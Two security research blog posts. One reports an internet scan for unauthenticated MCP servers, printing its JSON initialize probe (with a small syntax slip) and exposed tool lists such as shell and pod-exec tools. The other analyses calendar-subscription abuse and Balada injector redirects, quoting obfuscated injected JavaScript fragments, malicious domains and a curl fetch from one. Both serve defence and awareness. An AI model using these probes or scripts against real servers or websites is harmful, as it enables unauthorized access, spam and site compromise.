Disclaimer: Don’t get us wrong: MCP is awesome. It’s a powerful protocol that’s already reshaping how AI applications connect with external data sources and tools. Our goal here is simply to raise awareness within the community about something fundamental to maintaining MCP servers. So fundamental that it comes well before the flashier AI-era threats like prompt injection or anything in the OWASP Top 10 for LLM Applications.

Inside MCP: From message flow to real-world magic

Introduced in late 2024, MCP has rapidly emerged as a significant development in the AI ecosystem. Its promise of a standardized connection method for LLMs with tools, APIs and databases has generated considerable discussion.

The official definition outlines MCP as follows:

MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.

Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.

Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems.

In other words, MCP introduces a standardized interface that abstracts away the complexity of individual data sources. Instead of every AI application needing to implement custom logic for each new database, API, or knowledge repository, they only need to understand how to communicate through MCP.

Some foundational MCP concepts

Before we move on, let’s break down a few key components of the MCP protocol.

The main actors: MCP Host, MCP Client, and MCP Server

The MCP Host is the AI application or runtime environment where AI-driven tasks are executed. It also serves as the operator of the MCP Client, which acts as an intermediary between the host and one or more MCP Servers.

MCP Architecture (source as of December 2025)

These servers allow the client to access external services and perform tasks, exposing three key primitives: tools, resources, and prompts. Here, we’ll focus on tools, which are the executable functions an AI application can call to actually do things, like running a file operation, making an API call, or querying a database. If you’d like to explore resources, prompts, or any other part of the MCP protocol, we highly recommend checking out the official MCP documentation. We promise it won’t be boring. We’ve been there and genuinely enjoyed it!

The protocol handshake

A crucial first step in establishing an MCP client-server connection is the handshake. During this process, the client and server negotiate a compatible protocol version to ensure smooth communication. Once the connection is initialized, the client can request a list of tools, resources, and prompts from the server and then repeatedly invoke them at will. The following diagram illustrates this communication flow:

MCP Handshake (source as of December 2025)

How MCP clients and servers talk to each other

The MCP specification defines the protocol’s data layer and outlines how MCP clients and servers communicate using the JSON-RPC 2.0 standard. It further describes the transport layer and the mechanisms for message exchange between the two parties:

Stdio

This method uses standard input (stdin) and standard output (stdout) streams for direct communication between local processes on the same machine. All communication between MCP clients and servers happens locally.

Streamable HTTP

This transport type enables remote communication between the MCP clients and servers using the HTTP POST method for client-to-server messages, with an optional Server-Sent Events (SSE) endpoint for streaming capabilities. In this setup, the MCP client sends requests via HTTP POST, and the server can respond with either a single JSON message or a continuous stream of messages delivered over time through SSE.

You can try this yourself to see it in action. For simplicity, we’ll use a dummy MCP server for demonstration purposes: The Everything MCP Server¹.

It can be spun up easily with a single npx command:

Spinning up the “Everything” MCP server for a quick demo using Streamable HTTP as the transport type

You’ll now have the /mcp endpoint ready to receive POST requests. You can use curl to send the initialize message, which is the first message in the MCP handshake we saw earlier:

Sending the initialize message to our demo MCP server using StreamableHTTP as transport type

(Legacy) HTTP with SSE

The initial MCP specification introduced HTTP with SSE as a transport type. It relied on two separate HTTP connections: one for Server-Sent Events (server-to-client messages) and another standard POST endpoint for client-to-server communication. This approach is now deprecated, with Streamable HTTP being the preferred option for new implementations when the MCP server is remotely accessible and stdio cannot be used.

We can use the same dummy MCP server as before to see how these two separate HTTP connections work together. We’ll start by spinning up the Everything MCP Server in SSE mode:

Spinning up the “Everything” MCP Server again, this time using SSE as the transport type

Here, unlike what we saw earlier, we first need to send a GET request to the /sse endpoint to obtain the session URL:

Getting the session URL for subsequent protocol interactions

You’ll notice that your curl command hangs. That’s because this isn’t a regular HTTP endpoint, but an SSE endpoint that stays open, waiting for more events to arrive. Now, the same initialize message we saw earlier should be sent to the endpoint you just received. When you do that, you’ll see the response is simply an HTTP 202 Accepted with no payload returned:

Sending the initialize message through the current session URL

The actual data from the server is delivered through the SSE connection that was opened earlier:

Receiving the response to our initialize message on the previously opened SSE event stream

How does that work in real life?

We know, we know. You’re absolutely right. That was pretty low-level, and most users don’t really care about those details. But we thought it’d be cool to take a peek under the hood and see what’s actually happening when you use MCP.

Of course, there are several SDKs you can use right out of the box to handle all that communication for you. And if you prefer, or if you’re not on the developer side of things, you can use any existing LLM-based application that already supports MCP.

Here in this demo, we’ll use Gemini CLI as our MCP host/client and DBHub as our MCP server. DBHub calls itself a “universal database MCP server connecting to MySQL, PostgreSQL, SQL Server, MariaDB” so it’s a great way to show how MCP lets an AI application talk directly to a database.

We’ll start by firing up the DBHub MCP server with the --demo flag (“The demo mode includes a bundled SQLite sample "employee" database with tables for employees, departments, salaries, and more”). We’ll also use the --transport flag to expose it over Streamable HTTP:

Firing up our demo DBHub MCP server

Now all it takes is configuring the Gemini CLI to point to our MCP server and that’s it!

Our Gemini CLI settings file

If you now run /mcp in your Gemini CLI, you’ll see that one MCP server is connected, exposing both tools and prompts. As mentioned earlier, this means the MCP host (in this case, Gemini CLI) has handled all the heavy lifting performing the full MCP handshake and message exchange between the client and server so you don’t have to. Now you’re all set to start asking your database questions in plain natural language!

Confirming we’re connected to our demo MCP server

Let’s poke around to see which tables we can access, and then dump one to take a closer look.

Asking for a list of tables we may have access to
(and notice there’s no mention of our MCP server in the prompt because there’s no need to)

The MCP server happily dumps the employees table for us

That’s it? Really?

Yep, that’s really it! Our AI app is now hooked up to the MCP server at http://localhost:8080/message, ready to use the tools it advertised during the handshake we explored earlier. Why do you ask? Do you think something’s missing?

You, reading this and realizing something’s missing: Authorization!

Ah, yeah…glad you asked! (And if you didn’t, just pretend you did). So, we’ve exposed our demo MCP server over an HTTP endpoint that could be accessed remotely by multiple clients (even though our demo was running locally). The catch? We haven’t added any authorization mechanism. That sounds… well, a little dangerous, to say the least.

By now, we’re hoping we’ve earned your attention for the rest of the blog post.

According to the MCP specification…

Let’s see what the latest MCP specification has to say about authorization:

Authorization is OPTIONAL for MCP implementations. (...) Implementations using an HTTP-based transport SHOULD conform to this specification

Okay, so that’s the point: the MCP specification doesn’t enforce the use of authorization mechanisms for accessing MCP servers. It simply recommends that implementers follow the spec’s guidance (which happens to be OAuth 2.1), but ultimately, it’s up to each MCP server’s owner to decide whether (and how) to implement authorization. And many simply don’t.

The most important message of this post

This optional authorization mechanism left up to you as the MCP server owner is exactly what we wanted to highlight. MCP is still such a new technology, and everyone’s in a rush to test it, play with it, and roll it out across their organization. But that rush to get something working in production can have disastrous consequences. Especially if a developer (like the one we were pretending to be in our demo earlier) overlooks this crucial detail, or if a vibe coder building their next $1B startup sees their AI-powered app “just working” with an MCP server that happens to be wide open to the world, completely unaware that their coding assistant just exposed it to the internet.

While Anthropic authored the MCP specification, it’s not their job to enforce how every server handles authorization. The specification offers guidance, not guarantees. So if you’re planning to implement an MCP server within your organization, whether you’re building one from scratch or using an existing one (and there are plenty out there!), keep in mind that:

Because authorization is optional, it’s easy to skip it when moving from a demo to a real-world deployment, potentially exposing sensitive tools or data.
Many MCP servers are designed for local use, but once one is exposed over HTTP, the attack surface expands dramatically. That’s when “optional” authorization becomes a real liability. The trusted boundary you assumed no longer applies.

Hopefully, by now, it’s clear that exposing an MCP server to the internet without any kind of authorization in front of it is basically an open invitation for malicious actors to use it as a proxy to reach whatever data or services its tools expose.

Imagine you’ve carefully configured your database, filesystem, API service or any other resource you’ve connected as a tool to your MCP server, following every security best practice you can think of. You’re confident that only your MCP server can access those data sources, and you settle in for a peaceful night’s sleep. But if that MCP server is exposed to the internet, anyone can use it to pivot into the very services you thought were protected. Malicious possibilities are endless:

If you’re exposing databases or filesystems, that information could be easily exfiltrated (just like we did in our earlier demo) or even modified, if write access is allowed
If your tools use third-party APIs to access other services, anyone exploiting your exposed MCP server could gain the same access and privileges
- If it’s a paid API service, a malicious actor could use your exposed MCP server (and your valuable API key) for free, and you’d be the one footing the bill.
- If someone simply wants to cause chaos, they could trigger a denial-of-service attack by issuing millions of requests through your MCP server, exhausting resources until the provider blocks your API key entirely.

There’s so much that could go wrong that we could spend all day listing scenarios, but you probably get the point by now. And the point is this: if you’re experimenting with MCP servers or thinking about hosting your own, it’s easy to get caught up in the buzz around new AI attack vectors like prompt injection and other trendy exploits and, in the process of trying to defend against them all, you simply forget the basics. So, don’t expose your MCP server to the internet unless you have a really good reason to. And if you do, make sure it’s protected by a proper authorization mechanism.

But if you’re the kind of person who needs to see it to believe it, stick with us, because we went hunting for exposed MCP servers with no authorization in place, and what we found was pretty alarming. We promise, the examples ahead will get your attention.

Our hunting for exposed MCP servers

The detection payload

In theory, this should be straightforward and no different from detecting any other service in the wild. We just need to send a payload to a given target and analyze the response. If it matches the expected pattern, it’s bull’s-eye.

We’ve already dissected the MCP protocol, so it should come as no surprise what our detection payload will be. Of course, it’s the initialize message. And since we also know exactly what a valid response looks like, if we receive that back, we can be 100% sure we’ve found an exposed MCP server that happily initialized a connection from a client without even checking for authorization.



{
 "jsonrpc": "2.0",
 "id": 1,
 "method": "initialize",
 "params": {
   "protocolVersion": "2024-11-05",
   "capabilities": {
     "roots": {
       "listChanged": : True
     },
     "sampling": {},
     "elicitation": {}
   },
   "clientInfo": {
     "name": "ExampleClient",
     "title": "Example Client Display Name",
     "version": "1.0.0"
   }
 }
}

Our initialize message looks like this



{
 "jsonrpc": "2.0",
 "id": 1,
 "result": {
   "protocolVersion": "2024-11-05",
   "capabilities": {
     "logging": {},
     "prompts": {
       "listChanged": True
     },
     "resources": {
       "subscribe": True,
       "listChanged": True
     },
     "tools": {
       "listChanged": True
     }
   },
   "serverInfo": {
     "name": "ExampleServer",
     "title": "Example Server Display Name",
     "version": "1.0.0"
   },
   "instructions": "Optional instructions for the client"
 }
}

The expected response is structured similarly to this

Where should we look for exposed MCP servers?

Now it’s time to define our target scope. Here’s what we know, which will help narrow down our scan:

We cannot detect MCP servers that use the Stdio transport type, since they are not remotely accessible
MCP servers accessible via Streamable HTTP or HTTP with SSE are inherently HTTP endpoints

So far, so good. We’ve already outlined the data we need to send as our detection payload, and we know it must be sent to HTTP-based endpoints. However, in practice, there are a few challenges to consider when aiming for scalable detection.

Testing all HTTP-based endpoints isn’t practical

Bitsight Groma, our internet scanning engine, identifies millions of unique HTTP-based endpoints across the internet. The current total is on the order of hundreds of millions, so while we could test them all, it would take a considerable amount of time.

To make this search efficient, we need to build a focused list of endpoint candidates that are more likely to host an MCP server. This way, we only test a small fraction of all HTTP-based endpoints, turning it into a much more targeted scan.

We spent a good amount of time investigating the most common characteristics of MCP servers, both with and without authorization mechanisms in place. At a high level, these are some of the most promising signals that can guide us to focus on certain HTTP-based endpoints when looking for exposed MCP servers while safely ignoring others:

“MCP-like” hostnames

This one is pretty obvious. If you look at the current landscape, you’ll notice that many companies are offering remotely accessible MCP servers to their customers, so they don’t have to maintain them on the client side. Here are a few random examples:

“Stripe hosts a Streamable HTTP MCP server that’s available at https://mcp.stripe.com“ (source)
“Other programs (...) can connect manually using Notion MCP's public URL (https://mcp.notion.com/mcp) as a custom connection” (source)
“Connects directly to Figma’s hosted endpoint at https://mcp.figma.com/mcp” (source)
“PayPal built an MCP server that lets merchants use natural language with their favorite MCP clients (...) In a production environment for a live site, replace the sandbox URL with this URL: https://mcp.paypal.com/sse” (source)

There’s a pattern, isn’t there? It seems that the mcp subdomain within a Fully Qualified Domain Name (FQDN) is a strong indicator that it’s probably hosting an MCP server. Fortunately for us at Bitsight, it’s fairly easy to gather a large number of hostnames with mcp as a subdomain, since we actively collect millions of publicly resolvable domains for various purposes, with large-scale hostname-based scanning being one of them.

Clues in HTTP headers

Those that live in the shadows and are rarely seen by end users, the HTTP headers sometimes leak important bits of information. In this case, we can take a look at a few of them, including (but not limited to):

Content-Type header: A pretty obvious place to look. As we’ve learned, MCP works either with raw JSON or embedded in an HTTP stream, so application/json and text/event-stream are good hints to look for in this header
Server header: Although it can be easily redacted or modified, this header is still a useful place to look for hints when the original value is exposed. Assuming (and we think it’s a safe assumption) that most MCP servers rely on Anthropic’s official SDKs and implementation guidelines, we can start inferring which web servers are most likely in use when someone builds an MCP server with the Python, TypeScript, Go, or any other existing SDK
Cross-Origin Resource Sharing (CORS) headers: We’ve also noticed that some Access-Control-* headers can sometimes expose information commonly associated with MCP servers

Low-hanging fruits in MCP endpoint discovery

As we’ve already seen, MCP endpoints are typically found at /mcp or /sse, following the conventions defined in the specification. However, as with any other convention, nothing prevents someone from hosting their MCP server /in/a/deeply/nested/URL/path: the classic “security through obscurity” move. So we also need to narrow down the URLs to be tested.

For this research, we limited ourselves to the standard ones (/mcp and /sse) and also tested the root (/), since there’s a good chance those would be the juiciest and yield the most results.

Fast-forward to the scan results

Ok, so we built our list of potential candidate URLs that might be exposing an MCP server. We ended up with a set of targets showing one or more of the signals we defined as indicators of an MCP server, and we tested all of them across the three standard paths: /mcp, /sse, and /.

Sure, we hit a few false positives along the way, but we eventually filtered those out. For the remaining targets, we built a quick-and-dirty tool to perform the full MCP handshake and collect all the data we wanted from each exposed MCP server: most importantly, the list of tools, but we also gathered the list of resources, prompts, and some extra metadata from the initialize response.

On a personal note, it was a fun ride, but we’ll spare you the boring details and get you straight to the results.

And the number of exposed MCP servers we found is…

Roughly 1,000 exposed MCP servers with no authorization in place, from which we were able to retrieve all their available tools.

At first glance, it might not seem like an impressive number, right? But think about it: we’re talking about a technology that was announced to the public barely a year ago, and we’re already seeing hundreds of instances missing any form of authorization. That suggests things could get worse over time, which is why we hope this blogpost helps raise awareness before it does.

It’s also important to consider another angle. The MCP servers we found are the ones exposed on the public internet, but there could be many more running inside internal networks or application backends under the same conditions, and their owners might not even realize it. Just because they’re only accessible internally doesn’t mean they’re harmless. An exposed MCP server within a corporate environment could still be exploited by a malicious insider or through lateral movement during a breach.

Some alarming examples showing why this is really bad

Surely you’re curious about what kinds of exposed MCP servers we found out there and what they could let a malicious actor do. So were we. That’s why we analyzed many of them, reviewing the tools we were allowed to list and inferring what could be done if we were actually malicious adversaries.

While it’s true that some MCP servers are open and free to use for legitimate reasons (for example, we found a few that simply let AI applications access public documentation for a given service or product), many others were far more concerning. Here are just a few examples of the tools implemented by those exposed MCP servers (really, just a few; we found way too many!):

An exposed MCP server that would allow management of a Kubernetes cluster and its pods:



{
   "name": "pods_delete",
   "description": "Delete a Kubernetes Pod in the current or provided namespace with the provided name"
}, {
   "name": "pods_exec",
   "description": "Execute a command in a Kubernetes Pod in the current or provided namespace with the provided name and command"
}, {
   "name": "pods_get",
   "description": "Get a Kubernetes Pod in the current or provided namespace with the provided name"
}, {
   "name": "pods_list",
   "description": "List all the Kubernetes pods in the current cluster from all namespaces"
}, {
   "name": "pods_list_in_namespace",
   "description": "List all the Kubernetes pods in the specified namespace in the current cluster"
}, {
   "name": "pods_log",
   "description": "Get the logs of a Kubernetes Pod in the current or provided namespace with the provided name"
}, {
   "name": "pods_run",
   "description": "Run a Kubernetes Pod in the current or provided namespace with the provided container image and optional name"
}

Another one would allow access to a Customer Relationship Management (CRM) tool:



{
   "name": "list_accounts",
   "description": "Retrieve all available accounts from EspoCRM"
}, {
   "name": "list_users",
   "description": "Retrieve all available users from EspoCRM"
}, {
   "name": "list_teams",
   "description": "Retrieve all available teams from EspoCRM"
},

Another one that could be used to send WhatsApp messages, perfect for spam!



{
   "name": "send_whatsapp",
   "description": "Send a WhatsApp message to a single number"
}, {
   "name": "bulk_send_whatsapp",
   "description": "Send WhatsApp messages to multiple numbers"
}, {
   "name": "get_session_status",
   "description": "Check the status of a WhatsApp session"
}, {
   "name": "validate_number",
   "description": "Check if a number is valid on WhatsApp"
}

The holy grail: Remote Code Execution as an available tool through an MCP server!


{
   "name": "execute_shell_command",
   "description": "Execute shell commands through the proxy server"
},
{
   "name": "broadcast_websocket",
   "description": "Broadcast message to all WebSocket clients"
},
{
   "name": "get_server_status",
   "description": "Get current server status and statistics"
}

(Bonus) MCP honeypots?

Just FYI, this was something we found rather curious. Although we didn’t dig too deeply into it, our scan uncovered what appear to be hundreds of honeypots mimicking MCP servers that use HTTP with SSE as their transport type. We found more than 1,100 cases where a GET /sse request returned the following:

We sampled a few of them and confirmed the following:

The session_id parameter was exactly the same across all of them
When we tried to access the endpoint URL to initialize the MCP connection, no valid data was returned
All of them had hundreds of open ports, likely to mimic different network protocols
They occasionally returned random HTML pages when accessing /sse or other paths

So, there’s little doubt they’re honeypots ready to catch someone (like us) scanning for MCP servers on the internet.

We just want to raise awareness (our call to action)

We can’t stress this enough: see this blog post as a call to action to raise awareness about an emerging problem. MCP was announced roughly a year ago, and we’re already seeing a surprising number of MCP servers in the wild with no authorization mechanisms in place, effectively inviting any malicious actor to use them however they want. This could be the first symptom of something much more widespread in the near future. As adoption grows, we can expect to see even more exposed MCP servers appear online.

If you plan to leverage MCP in your organization, that’s great! MCP is here to stay and as we’ve seen, it’s an excellent way to connect AI applications to external tools and datasets. But please, do it securely:

Don’t expose your MCP servers to the internet unless you absolutely need to. For instance, if you’re using them to power internal AI applications, keep your MCP servers restricted to internal networks. Even better, consider using the Stdio transport type: running locally means one less remote attack vector
Even if you use remote transport types like Streamable HTTP for your internal MCP servers, and especially if you need to make them publicly accessible so your customers can use them in their applications and services, follow the specification’s best practices. The official recommendation is to use OAuth 2.1, though other secure alternatives may fit your use case.

¹ “This MCP server attempts to exercise all the features of the MCP protocol. It is not intended to be a useful server, but rather a test server for builders of MCP clients. It implements prompts, tools, resources, sampling, and more to showcase MCP capabilities.”

The Hidden Dangers of Calendar Subscriptions: 4 Million Devices at Risk

Eric Cisternelli — Tue, 25 Nov 2025 07:36:05 +0000

The Hidden Dangers of Calendar Subscriptions: 4 Million Devices at Risk Eric Cisternelli Tue, 11/25/2025 - 02:36

Introduction

Day-to-day workload can become overwhelming as time passes alongside the growing tasks and responsibilities of both personal and professional lives. Therefore, a well-structured digital calendar may be an essential organizational tool to navigate through the day, helping with the support we need to manage our time and ongoing commitments.

However, the convenience of digital calendars comes with a lesser-known risk, especially when subscribing to external ones. Each new subscription may allow a third-party server to add events directly to your schedule. While this brings the ease of keeping track of offers, holidays, team activities, or public events, it also opens the door to potential security risks. Malicious actors could exploit this further by setting up dedicated infrastructure that deceives the user into subscribing to their notifications. Once a subscription is established, they can deliver calendar files that may contain harmful content, such as URLs or attachments, turning a helpful tool into an unexpected attack vector.

Staying aware of these risks is essential. As we embrace tools to help us stay ahead, we must also ensure we’re not unknowingly opening the door to threats. Bitsight TRACE discovered more than 390 abandoned domains related to iCalendar synchronization (sync) requests for subscribed calendars, potentially putting ~4 million devices at risk.

Key Takeaways

Dedicated infrastructure tricks users into subscriptions, pushing malicious events at scale, exploiting, and monetizing millions of devices.
Expired domains associated with Calendar subscriptions can also be leveraged to create malicious events inside devices.
Bitsight sinkholed 390 calendar domains receiving daily sync requests from 4 million iOS and macOS devices.
Unlike phishing, users and organizations are generally unaware that calendar events can be exploited, and the misplaced trust, combined with an unexpected attack vector, creates a powerful entry point for attackers.

This research does not disclose a vulnerability in Google Calendar or iCalendar. The security risk arises from third-party calendar subscriptions hosted on expired or hijacked domains, which can be exploited for large-scale social engineering. Bitsight did not collect any calendar event content beyond the client’s request headers and did not inject or push events to user devices during this research. All observations were derived from sinkholed telemetry and publicly observable network behavior.

Telemetry on calendar subscriptions

Our research began with a single domain that we sinkholed, recording 11,000 unique IP addresses per day. This domain functioned as a server for a subscribed calendar that distributed German public and school holiday events, and that got our attention. Why would a domain for German holidays, with .ics files, be available?

In the HTTP requests we were seeing, the header ‘Accept: text/calendar’ indicated that the client was ready to accept an iCalendar file (.ics file is a file that adds or shares events of the calendar app), used to add events to the calendar. Further, the ‘dataaccessd’ in the user-agent field confirmed the source of the request, the iOS Calendar subscription daemon.


GET /[URI]
Host: 
Accept-Language: en-US,en;q=0.9
User-Agent: iOS/17.5.1 (21F90) dataaccessd/1.0
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
Accept: text/calendar


dst port: 443

In the scope of this activity, we expanded our search in our research sinkhole to identify other domains exhibiting similar behavior. This investigation uncovered an additional 347 domains (FIFA 2018 events, Islamic Hijri calendar, etc.).

In total, these 347 domains were contacted by approximately 4 million unique IP addresses per day, with the highest geographic concentration in the United States of America.

Figure 1 - World Map (Bitsight TRACE)

We identified two types of sync requests in our sinkhole, strongly suggesting that these are not new subscriptions, but background sync requests from previously subscribed calendars. This means that anyone who took over or registered an expired domain would be able to respond with customized calendar .ics files and create additional events in these devices:

1. Base64-encoded URI

Example of URI path:


/NzY5MTIEDwAFAQcCAAICBAYABAoDAwoBTg8BAQMFDkoIBwIBAgsGBwAARVZTT2kMBgIPDg%3D%3D

2. `Webcal` query request

Example of query:


/?webcal=ge2dmnbugy5gi3bpgqydamy&u=a3acfe2c-9c47-42c1-8f2f-ced5a73d20d9&l=18&t=
1607052555&g=8&al=en-us&sub1=test_robots1&sub2=&sub3=&sub4=

We know from the previously mentioned headers that the client is expecting a calendar file; however, we can double check this by doing a request to an active domain using curl and see what it returns:


curl -v -L -o calendar.ics 
"http://mos3[.]biz/?webcal=me2tanrymi5gi3bpgu4tmna&u=230c9837-23ee-4208-8df0-1fa854490c90&l=24&t=1620652575&g=3&al=ar&sub1=&sub2=&sub3=&sub4=b0690ftho9zwh124"

The active domain returns the following calendar .ics file, confirming our initial assumption:

Figure 2 - Calendar .ics file returned by active domain

Why a simple event file can open the door to phishing, malware, and more

Calendar subscriptions can come from various sources. We might be quick to assume that people only subscribe through some ad-filled websites or shady links, but that’s not always the case. As we have seen so far, users can be tricked when accessing their regular websites, but these subscriptions can also come from benign sources. For example, a website might require users to subscribe to a calendar in order to access special promotions. Mobile applications, such as mobile games, may encourage the subscription of a calendar that delivers reminders for in-game events or exclusive advantages. And even e-mail invitations can be crafted to appear as professional meetings or personal events, enticing the recipient to accept without suspicion.

While an inconspicuous title such as “Events” or “Amazon” may appear more convincing, we observed that it does not need to contain meaningful text at all. Actually, it can even be left completely blank. Moreover, the title can be filled with whitespace characters, averting the user from noticing the details displayed below. The following images illustrate this.

Figure 3 - Blank calendar subscription name | Figure 4 - Whitespace characters used in calendar subscription title

The point is that it doesn’t matter whether a user ended up subscribing to either a legitimate or illegitimate calendar; legitimate calendar domains can expire and be registered by threat actors. The most concerning part about calendars lies in the protocol itself and users' lack of awareness.

Once a calendar is subscribed to, the device will continue to automatically make sync requests to the domain, allowing cybercriminals to exploit ongoing calendar subscriptions to promote content to users without requiring any approval, by simply modifying the .ics file delivered during the sync process. While Google Calendar proxies the sync requests, iCalendar does not; actors could also explore the constant sync requests made by Apple devices to track users’ activity and geolocation based on incoming sync requests. Google’s proxy-based sync design adds an important layer of protection by limiting direct client interaction with calendar domains. This architecture helps prevent large-scale abuse via expired or hijacked calendar subscriptions, a valuable mitigation that enhances user safety by default.

At this stage, the creativity of the threat actor dictates the success of the attack: Will they generate fake anti-virus alerts? Push VPN apps for a monetization strategy? Or design phishing pages based on the expired domains? Anything that plays on urgency or trust has the potential to succeed.

To demonstrate the potential impact of this attack vector, we crafted a .ics file containing a series of events and imported it onto a device, simulating a real scenario. While our proof of concept focused on events targeting Apple operating systems, the same could be adapted for other operating systems. Reminder that all the events would lead to a malicious endpoint and/or software. Below, we present an example of what a day of these calendar subscriptions could look like.

Figure 5 - Example of events imported by calendar subscription

Regardless of the method, one element remains constant: social engineering. By exploiting human trust and curiosity, attackers increase the likelihood of their malicious calendar events being interacted with, turning a harmless feature into a powerful entry point for compromise. This is just another entry vector, on the most fallible part of the cybersecurity ecosystem, the Human mind.

Figure 6 - Example of VPN promotion with an attached PDF file

While social engineering is likely to be the most common exploitation, it is not the only one, as we will see further in the blog.

Hunting a network

As we previously mentioned, we were seeing two distinct types of requests reaching our sinkhole:

I.E – Base64-encoded URI →

/NzY5MTIEDwAFAQcCAAICBAYABAoDAwoBTg8BAQMFDkoIBwIBAgsGBwAARVZTT2kMBgIPDg%3D%3D

I.E – Webcal query request →

/?webcal=ge2dmnbugy5gi3bpgqydamy&u=a3acfe2c-9c47-42c1-8f2f-ced5a73d20d9&l=18&t=1607052555&g=8&al=en-us&sub1=test_robots1&sub2=&sub3=&sub4=

This could possibly indicate two different networks at play here, so we investigated further to better understand the infrastructure. For the first type of request, the one showing a base64 type URI, a particular JavaScript was always executed on the endpoints of each domain:

Sha256: e05c546f30212173ba878c31bbd8b93216cab1e847676b7bae870719f37dd7a5

This JavaScript was an obfuscated and adapted version of an open-source fingerprinting script. Fingerprinting scripts allow websites to get as much information as possible about your device. Via the browser, you can see what shows up for yours, here. The obfuscated version had an error exception that contained a string referencing the original version.


throw Error("'new Fingerprint()' is deprecated, see https://github.com/Valve/fingerprintjs2#upgrade

Due to its reuse, we could simply search on Virustotal all the domains that had previously run this obfuscated script. This allowed us to identify 454 domains associated with calendar subscriptions. Out of these, 335 were new to us. The domains also showed typical behaviour among Traffic Distribution Systems, such as bouncing between 2 domains.

It seems this infrastructure was mostly active from 2020 to 2022. It became obvious that this infrastructure was planned and deliberate. Further fingerprinting was also possible, due to the request endpoint showing the same headers, likely copying and pasting servers:

Service version of “openresty/1.15.8.3”
Cookie param as ”ex=”,
Cloudfront IDs would be similar
Cookie lifetime set to “Max-Age=600” or “Max-Age=172800”.

The operators appear to have kept the same server version and cookie logic, from 2020 until 2022/2023.

Injecting javascript

The second type, which showed the “webcal” argument in the URI query, was an interesting one and allowed us to better understand these underlying operations. This infrastructure was definitely fresher, with domains registered all the way into 2025.

The domains here actually showed two type of paths:


https://mo17[.]biz/?p=gy3ggyrzgm5gi3bpgy2dsny or /?pu

https://mo17[.]biz/?webcal=me2tanrymi5gi3bpgu4tmna&u=230c9837-23ee-4208-8df0-1fa854490c90&l=24&t=1620652575&g=3&al=ar&sub1=&sub2=&sub3=&sub4=b0690ftho9zwh124

Both these URIs and variations of them ran unique JavaScripts that would try to deceive the user into allowing push notifications or add calendar subscriptions accordingly. By making it seem like the user needs to solve a captcha by clicking “Allow” to view the original content. Below are some examples of this.

Figure 7 - Fake overlays, tricking users into subscriptions

These weren’t the only ones; there were dozens more. If a user were to click “Allow”, it would register a service worker to send further notification spam, even after closing the browser. If a user clicked “Block” or the script failed, this would redirect to another spam domain. It started becoming obvious that most of these domains were part of a structured scam notification campaign attempting to deceive users into subscribing by disguising itself as a browser "captcha" check, both for push and calendar events.

Proliferation

We knew its goal: tricking the user into subscribing to notifications. But it was still unclear how this came to have such a high volume of devices. We were seeing ~4 million iPhone requests to calendars alone, which was just a fraction of the real size subscribed. Apple devices directly request the domains for synchronization of events, hence the devices we were seeing. Google/Android, on the other hand, uses its own server as a proxy that polls the subscription domain once, then it pushes the synchronization to the rest of the devices. This meant if we saw a Google Calendar server request, we had no means to tell the number of devices already subscribed to that existed behind it. However, if we have ~4 Million iPhones, you best believe Android is a whole lot more. The real size of the network is much, much larger. So how did it spread? We were having a hard time believing that people were deliberately visiting these weirdly named sites.

As a starting point, we used the “placeholder” calendar .ics file that it was returning to find potentially related domains. We found several domains, which displayed the same type of paths, javascript files, subdomain naming, and IP sharing, mostly consisting of .biz and .bid TLDs. A quick search revealed them to be in fact, trying to push for notification subscriptions, even with users complaining about it. A further look into urlscan.io revealed that all of these were the endpoint of a redirection chain.

Figure 8 - Website redirecting to a final notification scam endpoint: baslerweb; mercadeo

With this, there was a workflow that started to shape. An initial website was visited, which then caused a second intermediate hop to occur, landing finally on the malicious domains for push notifications. Based on the initial domains that began this redirection chain, suspicion arose that it probably wasn’t voluntary, and the first domains had been compromised.

This suspicion made things substantially worse; it’s one thing being deceived by a website you willingly accessed, it’s another to access a regular website that has been compromised into tricking users. Especially considering there are services that sell push notifications as “ad space”. Were some of these services getting further subscriptions by compromising and exploiting other websites?

Unfortunately, this seems to be the case. We confirmed that the first websites in these chains were all compromised websites that had malicious javascript injected into them. The injected scripts appeared in multiple ways on the compromised websites and were heavily obfuscated. The flow was usually seen as follows:

Compromised website with malicious JavaScript injected
Obfuscated payloads perform reinjection - hops
Fake browser check for subscription: “Click Allow”

The initially injected script on the compromised domains was usually always either before or inside the <head> division. One of the ways this script block appeared was as follows:



<script>var e=eval;var v=String;var a ='fr'+'o'+'mCh''+ 'arC'+'ode';var
 l=v[a](40,102,117,110,99,116,105,111,....

This would load the first obfuscated javascript file, such as res.js/run.js, that is reinjected into the <head> and if there is none, it tries inside the <body>. All subsequent injected files appeared in the following obfuscated manner.

Figure 9 - Obfuscated script code snippet 150 - 1k lines of code

Most payloads could be partially deobfuscated using the open source tool deobfuscate.io. After deobfuscation, it would reveal the source for the following payload.

Figure 10 - Next payload source and reinjection into DOM

We mostly saw the redirection chain to the malicious endpoints working as follows:

Figure 11 - Infection and redirection chain

It’s worth pointing out that all of this would be completely seamless to the victim. The malicious landing page would manifest before loading the intended website.

These middle domains usually looks like such:

linetoslice[.]com/scripts
perfectlinestarter[.]com/scripts
readytocheckline[.]com
linetowaystrue[.]com
readytocheckline[.]com

v
bestresulttostart[.]com
taskscompletedlists[.]com
recordsbluemountain[.]com
recordsbluemountain[.]com

This is not an extensive list, far from it. Domains that appear at the final step of a redirect chain could act as delivery points for malicious activity, including ad injection, phishing pages, malware distribution, or further redirection chains. From the user’s perspective, upon opening their usual page, they will only see one of those “fake browser checks” which would be the final domain of the redirection chain.

Balada Injection

The infection chain we discussed in the previous chapter, which ranged from compromising websites to redirecting users, aligned with previous activity attributed as “Balada injector campaign or Balada malware”, discovered in 2023. So, in addition to matching IOCs, the tactics and techniques (TTPs) also seemed to either mirror or improve upon their latest waves of website injections.

Our initial attribution wasn’t as straightforward because the threat actors actively updated obfuscation tactics to evade previous scanning/fingerprinting of compromised domains. For example, previous injections started with …eval(String.fromCharCode… now we see obfuscation to avoid scanning, such as:


<script>var e=eval;var v=String;var a ='fr'+'o'+'mCh'+'arC'+'ode';var
l=v[a](40,102,117,110,99,116,105,111,,.......`

Or even something like:


<script>var _0x1f4840=_0x1ca2;(function(_0x37167e,_0x390a1e){var
